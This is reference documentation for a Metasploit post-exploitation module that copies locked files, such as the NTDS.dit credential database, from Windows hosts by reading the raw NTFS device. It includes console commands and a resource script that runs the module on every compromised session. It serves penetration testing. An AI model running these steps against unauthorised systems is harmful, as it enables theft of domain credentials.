Module Overview

Name: Windows File Gather File from Raw NTFS
Module: post/windows/gather/file_from_raw_ntfs
Source code: modules/post/windows/gather/file_from_raw_ntfs.rb
Disclosure date: -

Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module gathers a file using the raw NTFS device, bypassing some Windows restrictions such as open file with write lock. Because it avoids the usual file locking issues, it can be used to retrieve files such as NTDS.dit.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/file_from_raw_ntfs

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/file_from_raw_ntfs
msf post(file_from_raw_ntfs) > show options
    ... show and set options ...
msf post(file_from_raw_ntfs) > set SESSION session-id
msf post(file_from_raw_ntfs) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/file_from_raw_ntfs")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • FILE_PATH: The FILE_PATH to retreive from the Volume raw device
